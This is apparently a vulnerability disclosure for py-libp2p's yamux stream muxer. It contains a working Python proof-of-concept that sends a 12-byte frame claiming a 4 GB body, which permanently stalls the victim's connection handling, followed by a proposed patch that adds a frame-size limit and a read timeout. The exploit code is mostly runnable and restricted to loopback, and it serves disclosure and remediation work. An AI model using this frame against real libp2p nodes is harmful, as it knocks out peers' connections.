elif typ == TYPE_DATA:
    try:
        data = (
            await read_exactly(self.secured_conn, length)
            if length > 0
            else b""
        )

"""
author: @tahaafarooq
POC: yamux connection DoS via oversized data frame (connection DoS)
"""
import os
import secrets
import gc
import struct

import psutil
import trio
import multiaddr

from libp2p import new_host
from libp2p.crypto.ed25519 import create_new_key_pair
from libp2p.custom_types import TProtocol
from libp2p.peer.peerinfo import PeerInfo
from libp2p.stream_muxer.yamux.yamux import Yamux

LOOPBACK = multiaddr.Multiaddr("/ip4/127.0.0.1/tcp/0")
PING = TProtocol("/audit/ping/1.0.0")

YAMUX_HEADER_FORMAT = "!BBHII"
TYPE_DATA = 0x0
HUGE_LENGTH = 0xFFFF_FFFF  # max uint32 — 4,294,967,295 bytes


def craft_malicious_frame(stream_id: int = 1) -> bytes:
    """
    12-byte yamux DATA frame with flags=0 and length=4 GB.
    The stream_id is irrelevant: yamux reads the body BEFORE checking
    whether the stream exists.
    """
    return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)


def _get_yamux(host, peer_id) -> Yamux | None:
    swarm = host.get_network()
    conns = swarm.connections.get(peer_id)
    if conns is None:
        return None
    conn = conns[0] if isinstance(conns, list) else conns
    mc = conn.muxed_conn
    return mc if isinstance(mc, Yamux) else None


async def attack():
    proc = psutil.Process(os.getpid())
    rss0 = proc.memory_info().rss

    v_kp = create_new_key_pair(secrets.token_bytes(32))
    a_kp = create_new_key_pair(secrets.token_bytes(32))

    # DEFAULT new_host() — noise + yamux — no explicit sec_opt or muxer_opt
    victim = new_host(key_pair=v_kp)
    attacker = new_host(key_pair=a_kp)

    victim.set_stream_handler(PING, lambda s: s.close())

    async with victim.run(listen_addrs=[LOOPBACK]):
        vaddr = victim.get_addrs()[0]
        assert "127.0.0.1" in str(vaddr), "SAFETY: non-loopback"
        print(f"[*] Victim   : {vaddr}")
        print(f"[*] Config   : DEFAULT (noise + yamux)")

        async with attacker.run(listen_addrs=[LOOPBACK]):
            await attacker.connect(PeerInfo(victim.get_id(), victim.get_addrs()))
            await trio.sleep(0.2)

            a_yamux = _get_yamux(attacker, victim.get_id())
            v_yamux = _get_yamux(victim, attacker.get_id())
            assert a_yamux and v_yamux, "yamux muxed_conn not found"
            print(
                f"[*] Muxer    : attacker={type(a_yamux).__name__}, "
                f"victim={type(v_yamux).__name__}"
            )

            # --- Pre-attack: confirm yamux is healthy ---
            pre_stream = await attacker.new_stream(victim.get_id(), [PING])
            await pre_stream.close()
            print("[*] Pre-attack ping: OK (yamux live)")

            # --- Inject malicious frame ---
            frame = craft_malicious_frame(stream_id=1)
            print(
                f"[*] Injecting {len(frame)}-byte yamux frame: "
                f"type=DATA flags=0x0 stream_id=1 length={HUGE_LENGTH:#010x} "
                f"({HUGE_LENGTH:,} bytes)"
            )
            print(f"[*] Frame hex: {frame.hex()}")

            # Write directly to the noise-encrypted secure conn.
            # secured_conn.write() encrypts before sending; victim decrypts and
            # sees the raw yamux frame bytes, which handle_incoming processes.
            await a_yamux.secured_conn.write(frame)
            await trio.sleep(0.2)
            # Victim's handle_incoming has now read the 12-byte header, dispatched
            # to `elif typ == TYPE_DATA:`, and entered read_exactly(conn, 4GB).

            # --- Post-attack: try to use yamux ---
            post_attack_succeeded = False

            with trio.move_on_after(3.0):
                try:
                    post_stream = await attacker.new_stream(victim.get_id(), [PING])
                    await post_stream.close()
                    post_attack_succeeded = True
                except Exception as e:
                    print(f"[*] Post-attack new_stream error: {type(e).__name__}: {e}")

            gc.collect()
            rss1 = proc.memory_info().rss

            print("\n=== RESULTS ===")
            print(f"Injected frame (hex) : {frame.hex()}")
            print(
                f"Body-length field    : {HUGE_LENGTH} bytes requested, 0 bytes sent"
            )
            print(f"Post-attack ping OK  : {post_attack_succeeded}")
            print(f"RSS delta            : {(rss1 - rss0) / 1024:.1f} KiB")

            yamux_stuck = not post_attack_succeeded
            print(f"\nVictim yamux loop stuck: {yamux_stuck}")

            if yamux_stuck:
                print(
                    "[CONFIRMED] handle_incoming blocked - victim yamux dead for "
                    "this connection."
                )
                print(
                    "[IMPACT   ] Single 12-byte write from any authenticated peer "
                    "(post-noise-handshake)\n"
                    "            permanently stalls yamux for that connection.\n"
                    "            Affects DEFAULT new_host() config - no mplex required.\n"
                    "            No timeout, no max-length check, no exception."
                )
            else:
                print("[NOT CONFIRMED] yamux responded post-attack.")

            assert yamux_stuck, (
                "Expected yamux to be stuck after injecting malicious DATA frame, "
                "but connection remained functional."
            )


def test_yamux_data_frame_stall():
    trio.run(attack)


if __name__ == "__main__":
    trio.run(attack)

# libp2p/stream_muxer/yamux/yamux.py
                                                                                                           
MAX_YAMUX_FRAME = 256 * 1024  # matches DEFAULT_WINDOW_SIZE and go-yamux default
                                                     
elif typ == TYPE_DATA:
    if length > MAX_YAMUX_FRAME:
        logger.warning(
            f"yamux: oversized DATA frame length={length} > {MAX_YAMUX_FRAME}, sending RST"
        )
        rst_header = struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, FLAG_RST, stream_id, 0)
        await self.secured_conn.write(rst_header)
        continue  # skip body read; loop processes next frame
    data = await read_exactly(self.secured_conn, length) if length > 0 else b""

while not self.event_shutting_down.is_set():
    try:
        with trio.fail_after(60):
            header = await read_exactly(self.secured_conn, HEADER_SIZE)
            ...
    except trio.TooSlowError:
        logger.warning("yamux: frame read timed out, closing connection")
        self.event_shutting_down.set()
        break